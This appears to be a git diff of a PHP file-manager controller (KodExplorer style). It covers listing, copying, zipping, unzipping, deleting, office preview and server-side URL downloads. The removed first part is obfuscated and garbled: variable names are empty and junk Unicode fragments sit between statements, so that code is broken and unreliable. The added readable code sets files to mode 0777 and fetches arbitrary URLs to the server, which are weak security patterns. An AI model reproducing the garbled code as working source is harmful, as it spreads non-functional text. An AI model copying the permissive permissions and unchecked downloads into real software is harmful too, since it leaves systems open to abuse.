_group_self(){$Ɍ=array();foreach($this->user['group_info'] as $钸=>$ܠ){if($钸=='1')continue;$𮣾=system_group::get_info($钸);Ҍ׍֛ܲɄˡ©ᛶҟܜ;if($𮣾){$Ɍ[]=$𮣾;}}return $this->_make_node_list($Ɍ);}private function _make_node_list($){$=array();if(!is_array($)){return $;}foreach($ as $=>$Í){$乬=KOD_GROUP_PATH;$=system_member::user_auth_group($Í['group_id']);if($==!1){$乬=KOD_GROUP_SHARE;$='groupGuest';}else if($=='read'){$='groupSelf';}else{$='groupSelfOwner';}$=!0;$Ȥ=system_member::get_user_at_group($Í['group_id']);;if(count($Ȥ)==0&& $Í['children']==''){$=!1;}$[]=array('name' =>$Í['name'],'type' =>'folder','path' =>$乬.':'.$Í['group_id'].'/','ext' =>$,'tree_icon' =>$,'menuType' =>"menuTreeGroup",'isParent' =>$);}return $;xIJҢ;}public function pathDelete(){$=json_decode($this->in['list'],!0);;if(!is_dir(USER_RECYCLE)){mk_dir(USER_RECYCLE);}$=$this->config['user']['recycle_open'];if(!path_writeable(USER_RECYCLE)){$='0';}$=0;$=0;foreach($ as $ϊ){$ӧ=_DIR($ϊ['path']);if($!="1" || $GLOBALS['path_type']==KOD_GROUP_SHARE|| $GLOBALS['path_type']==KOD_GROUP_PATH|| $GLOBALS['path_type']==KOD_USER_RECYCLE){if($ϊ['type']=='folder'){if(del_dir($ӧ))$++;else $++;뭿ࡑ̠ٸάݎ¨Ǝ㔮;}else{if(del_file($ӧ))$++;else $++;;}space_size_use_reset();;}else{$ƕ=USER_RECYCLE.get_path_this($ӧ);߅׫;$ƕ=get_filename_auto($ƕ,date('-h:i:s'),'folder_rename');if(@rename($ӧ,$ƕ)){$++;}else{$++;}}}$=$==0?!0:!1;޹ߦĿ;$¨=$.' success,'.$.' error';if($==0){$¨=$this->L['remove_success'];}show_json($¨,$);}private function clearTemp(){$=USER_TEMP;$=@filemtime($);if(time()-$>0x0258){del_dir($);mk_dir($);}}public function pathDeleteRecycle(){if(!isset($this->in['list'])){if(!del_dir(USER_RECYCLE)){show_json($this->L['remove_fali'],!1);}else{mkdir(USER_RECYCLE);$this->clearTemp();space_size_use_reset();show_json($this->L['recycle_clear_success'],!0);}}$=json_decode($this->in['list'],!0);ǡʼn朌챶À踹ʉ쇺;$=0;$=0;foreach($ as $){$=_DIR($['path']);if($['type']=='folder'){if(del_dir($))$++;else $++;Ǝϐԟĭ;}else{if(del_file($))$++;else $++;}}space_size_use_reset();Ȫߦ魵ӣ;if(count($)==0x001){if($)show_json($this->L['remove_success']);else show_json($this->L['remove_fali'],!1);Ĭ;}else{$=$==0?!0:!1;֨޿Áہķ񆾩񽰪;show_json($this->L['remove_success'].$.'success,'.$.'error',$);}}public function pathCopy(){session_start();µާ;$=json_decode($this->in['list'],!0);;$_SESSION['path_copy']=json_encode($);ʨʈċݴ䵫ݘۚ玢àס;$_SESSION['path_copy_type']='copy';덪;show_json($this->L['copy_success'],ture,$_SESSION);}public function pathCute(){session_start();ճ;$=json_decode($this->in['list'],!0);יš;foreach($ as $=>&$β){$β['path']=rawurldecode($β['path']);_DIR($β['path']);孍ī׊Ƕ̞̕ڮؕ;}$_SESSION['path_copy']=json_encode($);㮰;$_SESSION['path_copy_type']='cute';;show_json($this->L['cute_success']);}public function pathCuteDrag(){$=json_decode($this->in['list'],!0);Σ;$=$this->path;卸ԑDž뤎ַԸꙶ礅Ͳ;$=$GLOBALS['path_type'];ܬ̜ȿ;$=$GLOBALS['path_id'];if(!path_writeable($this->path))show_json($this->L['no_permission_write'],!1);$=0;$=0;ɻ;$=array();foreach($ as $){$őګ=_DIR($['path']);$ƀ=get_path_this($őګ);$ͫ=get_filename_auto($.$ƀ,'',$this->config['user']['file_repeat']);if($!=$GLOBALS['path_id']){space_size_use_check();}if(move_path($őګ,$ͫ,'',$this->config['user']['file_repeat'])){$++;if($!=$GLOBALS['path_id']){space_size_use_change($ͫ);space_size_use_change($ͫ,!1,$,$);}$[]=_DIR_OUT(iconv_app($ͫ));}else{$++;;}}$=$==0?!0:!1;ٟܘꩦĽЇ;$=$.' success,'.$.' error';ۮ;if($==0){$=$this->L['success'];}show_json($,$,$);}public function pathCopyDrag(){$=json_decode($this->in['list'],!0);$=$this->path;$=$GLOBALS['path_type'];ۖàيƋț;$۸=$GLOBALS['path_id'];Ղӓ;space_size_use_check();if(!path_writeable($this->path))show_json($this->L['no_permission_write'],!1);$=0;$ć=0;$=array();򏸛ΦԄ܍;foreach($ as $){$=_DIR($['path']);Ƚ֞Ĵ포Ρקސ쳘ᚻ;$=get_path_this($);҃;$=get_filename_auto($.$,'',$this->config['user']['file_repeat']);if($this->in['filename_auto']==0x001&& trim($,'/')==trim($,'/')){$=get_filename_auto($.$,'','folder_rename');}if(copy_dir($,$)){$++;space_size_use_change($);$[]=_DIR_OUT(iconv_app($));}else{$ć++;}}$ʹ=$ć==0?!0:!1;$ɫ=$.' success,'.$ć.' error';ٵ;if($ć==0){$ɫ=$this->L['success'];}show_json($ɫ,$ʹ,$);}public function clipboard(){$߻=json_decode($_SESSION['path_copy'],!0);’;if(!$߻){$߻=array();}show_json($߻,!0,$_SESSION['path_copy_type']);}public function pathPast(){if(!isset($_SESSION['path_copy'])){show_json($this->L['clipboard_null'],!1,array());}$ӭ=$this->path;session_start();$䰽='';;$=array();ħфє;$뉜=json_decode($_SESSION['path_copy'],!0);$=$_SESSION['path_copy_type'];鄦ֻ€ҀӱΉ;$=$GLOBALS['path_type'];җೋ;$=$GLOBALS['path_id'];ߏΣ;if(!path_writeable($ӭ))show_json($this->L['no_permission_write'],!1,$);$GLOBALS['path_from_auth_check']=!0;$ǵ=count($뉜);Є;if($ǵ==0){show_json($this->L['clipboard_null'],!1,$);}for($=0;$<$ǵ;$++){$=_DIR($뉜[$]['path']);_DIR($this->in['path']);$=get_path_this($);$=iconv_app($);if(!file_exists($)){$䰽.= "
  • {$}".$this->L['copy_not_exists']."
  • ";continue;Æ;}if($뉜[$]['type']=='folder'){if($==substr($ӭ,0,strlen($))){$䰽.="{$}".$this->L['current_has_parent']."";continue;}}$=get_filename_auto($ӭ.$,'',$this->config['user']['file_repeat']);$=get_path_this($);Ϫ€ʿͽ͢ƾ⟷؟ڞԻ̀ŵ;if($=='copy'){space_size_use_check();copy_dir($,$);space_size_use_change($);}else{if($!=$GLOBALS['path_id']){space_size_use_check();}move_path($,$,'',$this->config['user']['file_repeat']);if($!=$GLOBALS['path_id']){space_size_use_change($);space_size_use_change($,!1,$,$);}}$[]=_DIR_OUT(iconv_app($));}if($=='copy'){$=$this->L['past_success'].$䰽;}else{$_SESSION['path_copy']=json_encode(array());$_SESSION['path_copy_type']='';$=$this->L['cute_past_success'].$䰽;}$=($䰽==''?!0:!1);show_json($,$,$);õںתߨ킨뺦İ;}public function fileDownload(){file_put_out($this->path,!0);қݬنۯ鰨տ܊άNjů;}public function fileDownloadRemove(){$=rawurldecode(_DIR_CLEAR($this->in['path']));$=USER_TEMP.iconv_system($);space_size_use_change($,!1);file_put_out($,!0);悖;del_file($);ϴͤ程ږ͠Ǟڲ;}public function zipDownload(){if(!file_exists(USER_TEMP)){mkdir(USER_TEMP);}else{$=path_list(USER_TEMP,!0,!1);$=0x0e10*0x0000018;if($['filelist']>=0x001){for($=0;$$){del_file($['filelist'][$]['path'].$['filelist'][$]['name']);}}}}$=$this->zip(USER_TEMP);show_json($this->L['zip_success'],!0,get_path_this($));}public function zip($Ù=''){load_class('pclzip');ini_set('memory_limit','2028M');倘ؒ;$=json_decode($this->in['list'],!0);$=count($);for($𲕍=0;$𲕍<$;$𲕍++){$[$𲕍]['path']=rtrim(_DIR($[$𲕍]['path']),'/');̸̿ӜΖί–ڃߨΈӤʣᴴ;}$=$Ù;;if($Ù==''){$=get_path_father($[0]['path']);}if(!is_writeable($)){show_json($this->L['no_permission_write'],!1);}if($==0x001){$=get_path_this($[0]['path']);}else{$=get_path_this(get_path_father($[0]['path']));}$=$.$.'.zip';$=get_filename_auto($,'',$this->config['user']['file_repeat']);ĸガ֝׃梠;space_size_use_check();$ձ=array();̫폝;for($𲕍=0;$𲕍<$;$𲕍++){if(file_exists($[$𲕍]['path'])){$ձ[]=$[$𲕍]['path'];}}if(count($ձ)==0){show_json($this->L['not_exists'],!1);}$=new PclZip($);foreach($ձ as $=>$){$=_DIR_CLEAR(get_path_father($));if($==0){$=$->create($,PCLZIP_OPT_REMOVE_PATH,$,PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name');continue;}$=$->add($,PCLZIP_OPT_REMOVE_PATH,$,PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name');}space_size_use_change($);if($==0){show_json("Create error!",!1);}$=$this->L['zip_success'].$this->L['size'].":".size_format(filesize($));if($Ù==''){show_json($,!0,_DIR_OUT(iconv_app($)));}else{return iconv_app($);}}public function unzip(){ini_set('memory_limit','2028M');$=$this->path;˦ϙȦ裕;$=get_path_this($);ў׭ӂәǧ;$=substr($,0,strrpos($,'.'));$=get_path_ext($);߾컺;$Ѽ=get_path_father($).$;if(isset($this->in['to_this'])){$Ѽ=get_path_father($);}if(isset($this->in['path_to'])){$Ѽ=_DIR($this->in['path_to']);}if(!is_writeable(get_path_father($))){show_json($this->L['no_permission_write'],!1);}space_size_use_check();load_class('pclzip');漗񢸪ơȶֶڽ͉ꔫ߬׊;$=new PclZip($);⛅ΰܘǵ܏ʿϏۀʓ׶ܾ;$ᴨ=$->extract(PCLZIP_OPT_PATH,$Ѽ,PCLZIP_OPT_SET_CHMOD,0777,PCLZIP_CB_PRE_FILE_NAME,'unzip_pre_name',PCLZIP_CB_PRE_EXTRACT,"check_ext_unzip",PCLZIP_OPT_REPLACE_NEWER);if($ᴨ==0){show_json("Error : ".$->errorInfo(!0),fasle);}else{space_size_use_change($);show_json($this->L['unzip_success']);}}public function imageRotate(){load_class('imageThumb');ɉޮĕ΋Ө;$=new imageThumb($this->path,'file');$=$->imgRotate($this->path,intval($this->in['rotate']));Ԋ韙حلҝЩ瑈咹;if($){show_json($this->L['success']);}else{show_json($this->L['error'],!1);}}public function image(){if(filesize($this->path)<=0x00000400*0x014|| !function_exists('imagecolorallocate')){file_put_out($this->path);return;}if(!is_dir(DATA_THUMB)){mk_dir(DATA_THUMB);}load_class('imageThumb');$Ɯ=$this->path;˘锶țë;$=@md5_file($Ɯ);if(strlen($)<0x05){$=md5($Ɯ);}$=DATA_THUMB.$.'.png';if(!file_exists($)){if(get_path_father($Ɯ)==DATA_THUMB){$=$this->path;}else{$=new imageThumb($Ɯ,'file');$->prorate($,0x0fa,0x0fa);}}if(!file_exists($)|| filesize($)<0x064){$=$this->path;}file_put_out($);}public function serverDownload(){set_time_limit(0);$='download_'.$this->in['uuid'];ࡊøޞѶ;if($this->in['type']=='percent'){if(isset($_SESSION[$])){$=$_SESSION[$];$=array('uuid' =>$this->in['uuid'],'length' =>(int)$['length'],'name' =>$['name'],'size' =>(int)@filesize(iconv_system($['path'])),'time' =>mtime());show_json($);}else{show_json('',!1);}}else if($this->in['type']=='remove'){del_file($_SESSION[$]['path']);unset($_SESSION[$]);show_json('',!1);}$=_DIR($this->in['save_path']);if(!is_writeable($)){show_json($this->L['no_permission_write'],!1);}$=rawurldecode($this->in['url']);$=url_header($);if(!$){show_json($this->L['download_error_exists'],!1);}$=$.$['name'];if(!checkExt($)){$=_DIR($this->in['save_path']).date('-h:i:s').'.txt';}space_size_use_check();$=get_filename_auto(iconv_system($),'',$this->config['user']['file_repeat']);$Ԟ=$.'.downloading';session_start();Թػ;$_SESSION[$]=array('length'=> $['length'],'path' =>$Ԟ,'name' =>get_path_this($));˲נɻ㫍̻;session_write_close();;if(file_download_this($,$Ԟ,$['length'])){session_start();unset($_SESSION[$]);session_write_close();if(@rename($Ԟ,$)){$=get_path_this(iconv_app($));space_size_use_change($);show_json($this->L['download_success'],!0,_DIR_OUT(iconv_app($)));}else{show_json($this->L['download_error_create'],!1);}}else{session_start();;unset($_SESSION[$]);ڛ޷߷;session_write_close();;show_json($this->L['download_error_create'],!1);}}public function officeView(){if(!file_exists($this->path)){show_tips($this->L['not_exists']);}$=get_path_ext($this->path);$̢=_make_file_proxy($this->path);Ӯڄ׷Ĕ۲ӽÉƪʃ؊Сҿ߯΋ɑ;if(defined("OFFICE_KOD_SERVER")){$=APPHOST.'index.php?explorer/fileProxy&path='.$this->in['path'];$='&appMode=edit&access_token='.session_id();if(OFFICE_KOD_ACTION=='read'){$='&appMode=view';$=_make_file_proxy($this->path);}$Ǝ=$_SESSION['kod_user'];$=rand_string(0x0a);̂ἃ;$=OFFICE_KOD_SERVER.rawurlencode($).'&lang='.LANGUAGE_TYPE.'&appType=desktop'.$.'&file_time='.@filemtime($this->path).'&user_id='.$Ǝ['user_id'].'&user_name='.$Ǝ['name'].'&app_id='.OFFICE_KOD_APP_ID.'&app_s='.$.'&app_v='.md5($.OFFICE_KOD_APP_KEY);ݧ˼ѿϋӶ坊冉ÊΰԹżߺ;header("location:".$);Ĝ;exit;}if(file_exists(PLUGIN_DIR.'officeView')){if(isset($_GET['is_edit'])|| !isset($this->config['settings']['office_server_doc2pdf'])){include(PLUGIN_DIR.'officeView/index.php');}else{include(PLUGIN_DIR.'officeView/flexpapper.php');}exit;}$٦=$_SERVER['HTTP_HOST'];Ǯڏ;if(strpos(OFFICE_SERVER,'view.officeapps.live.com')===-0x001|| strstr($٦,'10.10.')|| strstr($٦,'192.168.')|| strstr($٦,'127.0.')|| !strstr($٦,'.')){$=$this->L['unknow_file_office'];show_tips($);}else{$=OFFICE_SERVER.rawurlencode($̢);header("location:".$);}}public function officeSave(){$=_DIR($this->in['path']);if(isset($this->in['from_activex'])){if($_FILES["file"]["error"]>0){echo "Return Code: ".$_FILES["file"]["error"];}else{move_uploaded_file($_FILES["file"]["tmp_name"],$this->path);echo 'succeed';}exit;}if(!is_writeable($)){$this->json_putout(array('error'=>'no_permission_write'));}if(($߹=file_get_contents('php://input'))===!1){$this->json_putout(array('error'=>'Bad Request'));}$=json_decode($߹,!0);if($===NULL){$this->json_putout(array('error'=>'Bad Response'));}$=array(0=>'NotFound',0x001=>'Editing',0x0002=>'MustSave',0x00003=>'Corrupted',0x000004=>'Closed');$=array('error'=>0,'action'=>$[$["status"]]);˩č;switch($[$["status"]]){case "MustSave":case "Corrupted":$["c"]="saved";֋ɼ٘;$['status']='0';if(file_download_this($["url"],$)){$['status']='success';}break;default:break;ƔϙĘܗ;}$this->json_putout($);;}private function json_putout($){@header('Content-Type: application/json; charset==utf-8');@header('X-Robots-Tag: noindex');@header('X-Content-Type-Options: nosniff');Ӽӣ;echo json_encode($);exit;зɔЕј溵ч;}public function fileProxy(){$=isset($this->in['download']);file_put_out($this->path,$);ЉȮ՝ۊŧőϗ䷈;}public function fileUpload(){$=_DIR($this->in['upload_to']);ׅң;if(!is_writeable($))show_json($this->in['upload_to'],!1);if($=='')show_json($this->L['upload_error_big'],!1);if(strlen($this->in['fullPath'])>0x001){$=_DIR_CLEAR(rawurldecode($this->in['fullPath']));$=get_path_father($);$=iconv_system($);if(mk_dir($.$)){$=$.$;}}$=$this->config['user']['file_repeat'];;$=USER_TEMP;暢ŮѤώ;mk_dir($);if(!is_writeable($))show_json($this->L['no_permission_write'],!1);upload_chunk('file',$,$,$);}private function path_share(&$ڧ){$=explode(',',$GLOBALS['path_id']);$=system_member::user_share_list($[0]);$=$GLOBALS['path_id_user_share'];ۡ;foreach($ as $=>$){$=_DIR(KOD_USER_SHARE.':'.$[0].'/'.$['name']);$['path']=$['name'];ɍ׍ꆶ׀̠ǐˌʵ;$['atime']='';$['ctime']='';;$['mode']='';;$['is_readable']=0x001;$['is_writable']=0x001;ĝՍƫν;$['exists']=intval(file_exists($));$['meta_info']='path_self_share';ϟϹֳՐֲ䢄ɍܫ˧η׻;$['menuType']="menuSharePath";if(get_path_ext($['name'])=='oexe'){$=json_decode(@file_get_contents($),!0);if(is_array($))$=array_merge($,$);}if($['type']=='folder'){$['ext']='folder';$ڧ['folderlist'][]=$;}else{$ڧ['filelist'][]=$;}}$ڧ['path_read_write']='readable';ޗ텥Օڨ䁉;$GLOBALS['path_id_user_share']=$;if($[0]==$this->user['user_id']){$ڧ['share_list']=$;}return $ڧ;}private function path_fav(&$){$=new fileCache(USER.'data/fav.php');$=$->get();$GLOBALS['path_from_auth_check']=!0;foreach($ as $τ=>$){$=_DIR($['path']);$媼=path_haschildren($,$);ߔޑ̮匘κѦѮЎߠ;if(!isset($['type'])){$['type']='folder';}if($['type']=='folder' && $['ext']!='treeFav'){$媼=!0;}$=array('name' =>$['name'],'ext' =>$['ext'],'menuType' =>"menuFavPath",'atime' =>'','ctime' =>'','mode' =>'','is_readable' =>0x001,'is_writeable' =>0x001,'exists' =>intval(file_exists($)),'meta_info' =>'treeFav','path' =>$['path'],'type' =>$['type'],'open' =>!1,'isParent' =>!1);if(strstr($['path'],KOD_USER_SHARE)|| strstr($['path'],KOD_USER_FAV)|| strstr($['path'],KOD_GROUP_ROOT_SELF)|| strstr($['path'],KOD_GROUP_ROOT_ALL)){$['exists']=0x001;}if(get_path_ext($['name'])=='oexe'){$=json_decode(@file_get_contents($),!0);if(is_array($))$=array_merge($,$);}if($['type']=='folder'){$['folderlist'][]=$;}else{$['filelist'][]=$;}}$GLOBALS['path_from_auth_check']=!1;$GLOBALS['path_type']=KOD_USER_FAV;׆۩ʆ;$['path_read_write']='writeable';º܃޿;return $;Ӆ߫;}private function path_group(&$,$Ռ){if($Ռ==KOD_GROUP_ROOT_SELF){$=$this->_group_self();}else{$=$this->_group_tree('1');}$GLOBALS['path_from_auth_check']=!0;foreach($ as $=>$){$=array('name' =>$['name'],'menuType' =>"menuGroupRoot",'atime' =>'','ctime' =>'','mode' =>'','is_readable' =>0x001,'is_writeable' =>0x001,'exists' =>0x001,'path' =>$['path'],'ext' =>$['ext'],'type' =>'folder','open' =>!1,'isParent' =>!1);;if($['type']=='folder'){$['folderlist'][]=$;}else{$['filelist'][]=$;}}$GLOBALS['path_from_auth_check']=!1;$GLOBALS['path_type']=$Ռ;$['path_read_write']='writeable';return $;}private function path($,$=true,$=false){$=explode(',',$this->config['setting_system']['path_hidden']);ֲߜ气ߎХʬʊֱ둥ᴫ֑՗;$=_DIR_OUT(iconv_app($));if($GLOBALS['path_type']==KOD_USER_SHARE&& strpos(trim($,'/'),'/')===!1){$=$;}$ٸ=array('folderlist' =>array(),'filelist' =>array(),'info' =>array(),'path_read_write' =>'not_exists','this_path' =>$);if(!file_exists($)){$ٸ['path_read_write']="not_exists";}else if(path_writeable($)){$ٸ['path_read_write']='writeable';}else if(path_writeable($)){$ٸ['path_read_write']='readable';}else{$ٸ['path_read_write']='not_readable';}if($===!1){return $ٸ;}else if($GLOBALS['path_type']==KOD_USER_SHARE&& !strstr(trim($this->in['path'],'/'),'/')){$ٸ=$this->path_share($ٸ);}else if($GLOBALS['path_type']==KOD_USER_FAV){$ٸ=$this->path_fav($ٸ);}else if($GLOBALS['path_type']==KOD_GROUP_ROOT_SELF){$ٸ=$this->path_group($ٸ,$GLOBALS['path_type']);}else if($GLOBALS['path_type']==KOD_GROUP_ROOT_ALL){$ٸ=$this->path_group($ٸ,$GLOBALS['path_type']);}else{$=path_list($,$,!0);$ٸ['folderlist']=$['folderlist'];$ٸ['filelist']=$['filelist'];}$=array();$=array();foreach($ٸ['filelist'] as $ݏ=>$){if(in_array($['name'],$))continue;$['ext']=get_path_ext($['name']);ꯍ¾Ҹՠֳ̀Ɂڢ;if($['ext']=='oexe' && !isset($['content'])){$ʑ=iconv_system($['path']);$=json_decode(@file_get_contents($ʑ),!0);if(is_array($))$=array_merge($,$);}$[]=$;}foreach($ٸ['folderlist'] as $ݏ=>$){if(in_array($['name'],$))continue;$[]=$;}$ٸ['filelist']=$;$ٸ['folderlist']=$;$ٸ=_DIR_OUT($ٸ);݇҉ꑏλʓΆ;$this->_role_check_info($ٸ);return $ٸ;͎ܨݙۊ²㰺ɈԲ̞ޱ;}private function _role_check_info(&$ٝ){if(!$GLOBALS['path_type']){$ٝ['info']=array("path_type"=>'',"role"=>'',"id"=>'','name'=>'');return;}$ٝ['info']=array("path_type" =>$GLOBALS['path_type'],"role" =>$GLOBALS['is_root']?'owner':'guest',"id" =>$GLOBALS['path_id'],'name' =>'',);if($GLOBALS['path_type']==KOD_USER_SHARE){$GLOBALS['path_id']=explode(':',$GLOBALS['path_id']);$GLOBALS['path_id']=$GLOBALS['path_id'][0];$ٝ['info']['id']=$GLOBALS['path_id'];$=system_member::get_info($GLOBALS['path_id']);$ٝ['info']['name']=$['name'];if($GLOBALS['is_root']){$ٝ['info']['admin_real_path']=USER_PATH.$['path'].'/home/';}}if($GLOBALS['path_type']==KOD_GROUP_PATH|| $GLOBALS['path_type']==KOD_GROUP_SHARE){$=system_group::get_info($GLOBALS['path_id']);$ٝ['info']['name']=$['name'];$ɳ͔=system_member::user_auth_group($GLOBALS['path_id']);if($ɳ͔=='write' || $GLOBALS['is_root']){$ٝ['info']['role']='owner';$ٝ['group_space_use']=$['config'];}if($GLOBALS['is_root']){$ٝ['info']['admin_real_path']=GROUP_PATH.$['path'].'/home/';}}}} \ No newline at end of file +tpl = TEMPLATE.'explorer/'; + $this->user = $_SESSION['kod_user']; + if (isset($this->in['path'])) { + $this->path = _DIR($this->in['path']); + $this->check_system_path(); + } + } + public function index(){ + $dir = ''; + if(isset($this->in['path']) && $this->in['path'] !=''){ + $dir = _DIR_CLEAR($_GET['path']); + $dir = rtrim($dir,'/').'/'; + } + $this->assign('dir',$dir); + if ($this->config['forceWap']) { + $this->display('index_wap.php'); + }else{ + $this->display('index.php'); + } + } + + //system virtual folder; + private function check_system_path(){ + if(!in_array(ACT,array('mkfile','mkdir','search','pathCuteDrag','pathCopyDrag','pathPast','fileDownload'))){ + return; + } + if( $GLOBALS['path_type'] == KOD_USER_SHARE && + !strstr(trim($this->in['path'],'/'),'/')){//分享根目录 + show_json($this->L['error'],false); + } + if(in_array($GLOBALS['path_type'],array( + KOD_USER_FAV, + KOD_GROUP_ROOT_ALL, + KOD_GROUP_ROOT_SELF + ) + )){ + show_json($this->L['system_path_not_change'],false); + } + } + + public function pathInfo(){ + $info_list = json_decode($this->in['list'],true); + if(!$info_list){ + show_json($this->L['error'],false); + } + foreach ($info_list as &$val) { + $val['path'] = _DIR($val['path']); + } + $data = path_info_muti($info_list,$this->L['time_type_info']); + if(!$data){ + show_json($this->L['not_exists'],false); + } + + //属性查看,单个文件则生成临时下载地址。没有权限则不显示 + if (count($info_list)==1 && $info_list[0]['type']!='folder') {//单个文件 + $file = $info_list[0]['path']; + if($GLOBALS['is_root'] || $GLOBALS['auth']['explorer:fileDownload']==1){ + $data['download_path'] = _make_file_proxy($file); + } + if($data['size'] < 100*1024|| isset($this->in['get_md5'])){//100kb + $data['file_md5'] = @md5_file($file); + }else{ + $data['file_md5'] = "..."; + } + + //获取图片尺寸 + $ext = get_path_ext($file); + if(in_array($ext,array('jpg','gif','png','jpeg','bmp')) ){ + load_class('imageThumb'); + $size = imageThumb::imageSize($file); + if($size){ + $data['image_size'] = $size; + } + } + } + $data['path'] = _DIR_OUT($data['path']); + show_json($data); + } + + public function pathChmod(){ + $info_list = json_decode($this->in['list'],true); + if(!$info_list){ + show_json($this->L['error'],false); + } + $mod = octdec('0'.$this->in['mod']); + $success=0;$error=0; + foreach ($info_list as $val) { + $path = _DIR($val['path']); + if(chmod_path($path,$mod)){ + $success++; + }else{ + $error++; + } + } + $state = $error==0?true:false; + $info = $success.' success,'.$error.' error'; + if (count($info_list) == 1 && $error==0) { + $info = $this->L['success']; + } + show_json($info,$state); + } + + public function mkfile(){ + $tpl_path = BASIC_PATH.'static/others/newfile-tpl/'; + space_size_use_check(); + $repeat_type = 'skip'; + if(isset($this->in['repeat_type'])){ + $repeat_type = $this->in['repeat_type']; + } + $new= rtrim($this->path,'/'); + $new = get_filename_auto($new,'',$repeat_type);//已存在处理 创建副本 + if(@touch($new)){ + chmod_path($new,0777); + if (isset($this->in['content'])) { + file_put_contents($new,$this->in['content']); + }else{ + $ext = get_path_ext($new); + $tpl_file = $tpl_path.'newfile.'.$ext; + if(file_exists($tpl_file)){ + $content = file_get_contents($tpl_file); + file_put_contents($new,$content); + } + } + space_size_use_change($new); + show_json($this->L['create_success'],true,_DIR_OUT(iconv_app($new)) ); + }else{ + show_json($this->L['create_error'],false); + } + } + public function mkdir(){ + space_size_use_check(); + $repeat_type = 'skip'; + if(isset($this->in['repeat_type'])){ + $repeat_type = $this->in['repeat_type']; + } + $new = rtrim($this->path,'/'); + $new = get_filename_auto($new,'',$repeat_type);//已存在处理 创建副本 + if(mk_dir($new,0777)){ + chmod_path($new,0777); + show_json($this->L['create_success'],true,_DIR_OUT(iconv_app($new)) ); + }else{ + show_json($this->L['create_error'],false); + } + } + + public function pathRname(){ + $rname_to=_DIR($this->in['rname_to']); + if (file_exist_case($rname_to)) { + show_json($this->L['name_isexists'],false); + } + if(@rename($this->path,$rname_to)){ + show_json($this->L['rname_success'],true,_DIR_OUT(iconv_app($rname_to)) ); + }else{ + show_json($this->L['no_permission_write_all'],false); + } + } + + public function search(){ + if (!isset($this->in['search'])) show_json($this->L['please_inpute_search_words'],false); + + $is_content = intval($this->in['is_content']); + $is_case = intval($this->in['is_case']); + $ext= trim($this->in['ext']); + //共享根目录不支持搜索 + if( $GLOBALS['path_type'] == KOD_USER_SHARE && + strstr($this->path,KOD_USER_SHARE)){ + show_json($this->L['path_cannot_search'],false); + } + $list = path_search( + $this->path, + iconv_system(rawurldecode($this->in['search'])), + $is_content,$ext,$is_case); + show_json(_DIR_OUT($list)); + } + + public function pathList(){ + $user_path = $this->in['path']; + if ($user_path=="") $user_path='/'; + $list=$this->path($this->path); + + //自己的根目录 + if($this->path== MYHOME || $this->path==HOME){ + $this->_self_root_load($list['folderlist']); + } + + //群组根目录 + if( $list['info']['path_type'] == KOD_GROUP_PATH && + !strstr(trim(_DIR_CLEAR($this->in['path']),'/'),'/') + ){//自己的根目录 + $this->_self_group_load($list['folderlist']); + } + $list['user_space'] = $this->user['config']; + show_json($list); + } + + public function treeList(){//树结构 + $app = $this->in['app'];//是否获取文件 传folder|file + if (isset($this->in['type']) && $this->in['type']=='init'){ + $this->_tree_init($app); + } + //根树目录请求 + switch(trim(rawurldecode($this->in['path']))){ + case KOD_USER_FAV: + show_json($this->_tree_fav(),true); + break; + case KOD_GROUP_ROOT_SELF: + show_json($this->_group_self(),true); + break; + case KOD_GROUP_ROOT_ALL: + show_json($this->_group_tree('1'),true); + break; + default:break; + } + + //树目录组处理 + if ( (isset($this->in['tree_icon']) && $this->in['tree_icon']!='groupPublic') && //公共目录刷新排除 + !strstr(trim(rawurldecode($this->in['path']),'/'),'/') && + ($GLOBALS['path_type'] == KOD_GROUP_PATH|| + $GLOBALS['path_type'] == KOD_GROUP_SHARE)) { + $list = $this->_group_tree($GLOBALS['path_id']); + show_json($list,true); + return; + } + + //正常目录 + $path=_DIR($this->in['path']); + if (!path_readable($path)) show_json($this->L['no_permission_read'],false); + $list_file = ($app == 'editor'?true:false);//编辑器内列出文件 + $list=$this->path($path,$list_file,true); + function sort_by_key($a, $b){ + if ($a['name'] == $b['name']) return 0; + return ($a['name'] > $b['name']) ? 1 : -1; + } + usort($list['folderlist'], "sort_by_key"); + usort($list['filelist'], "sort_by_key"); + if($path == MYHOME || $path==HOME){//自己的根目录 + // $this->_self_root_load($list['folderlist']); + } + if ($app == 'editor') { + $res = array_merge($list['folderlist'],$list['filelist']); + show_json($res,true); + }else{ + show_json($list['folderlist'],true); + } + } + + //用户根目录 + private function _self_group_load(&$root){ + foreach ($root as $key => $value) { + if($value['name'] == 'share'){ + $root[$key] = array( + 'name' => $this->L['group_share'], + 'menuType' => "menufolder folderBox", + 'ext' => "folder_share", + 'isParent' => true, + 'is_readable' => true, + 'is_writeable' => true, + + 'path' => KOD_GROUP_PATH.':'.$GLOBALS['path_id'].'/share/', + 'type' => 'folder', + 'open' => false, + 'isParent' => false + ); + break; + } + } + $root = array_values($root); + } + + //用户根目录 + private function _self_root_load(&$root){ + foreach ($root as $key => $value) { + if($value['name'] == 'share'){ + $root[$key] = array( + 'name' => $this->L['my_share'], + 'menuType' => "menuTreeUser", + 'ext' => "folder_share", + 'isParent' => true, + 'is_readable' => true, + 'is_writeable' => true, + + 'path' => KOD_USER_SHARE.':'.$this->user["user_id"].'/', + 'type' => 'folder', + 'open' => false, + 'isParent' => false + ); + break; + } + } + $root = array_values($root); + //不开启回收站则不显示回收站 + if($this->config['user']['recycle_open']=="1"){ + // $root[] = array( + // 'name'=>$this->L['recycle'], + // 'menuType' =>"menuRecycleButton", + // 'ext' =>"recycle", + // 'isParent' => true, + // 'is_readable' => true, + // 'is_writeable' => true, + + // 'path' => KOD_USER_RECYCLE, + // 'type' => 'folder', + // 'open' => true, + // 'isParent' => false + // ); + } + } + + + private function _tree_fav(){ + $check_file = ($this->in['app'] == 'editor'?true:false); + $favData=new fileCache(USER.'data/fav.php'); + $fav_list = $favData->get(); + $fav = array(); + $GLOBALS['path_from_auth_check'] = true;//组权限发生变更。导致访问group_path 无权限退出问题 + foreach($fav_list as $key => $val){ + $has_children = path_haschildren(_DIR($val['path']),$check_file); + if( !isset($val['type'])){ + $val['type'] = 'folder'; + } + if( in_array($val['type'],array('group'))){ + $has_children = true; + } + $the_fav = array( + 'name' => $val['name'], + 'ext' => $val['ext'], + 'menuType' => "menuTreeFav", + + 'path' => $val['path'], + 'type' => $val['type'], + 'open' => false, + 'isParent' => $has_children + ); + if(isset($val['type']) && $val['type']!='folder'){//icon优化 + $the_fav['ext'] = $val['type']; + } + $fav[] = $the_fav; + } + 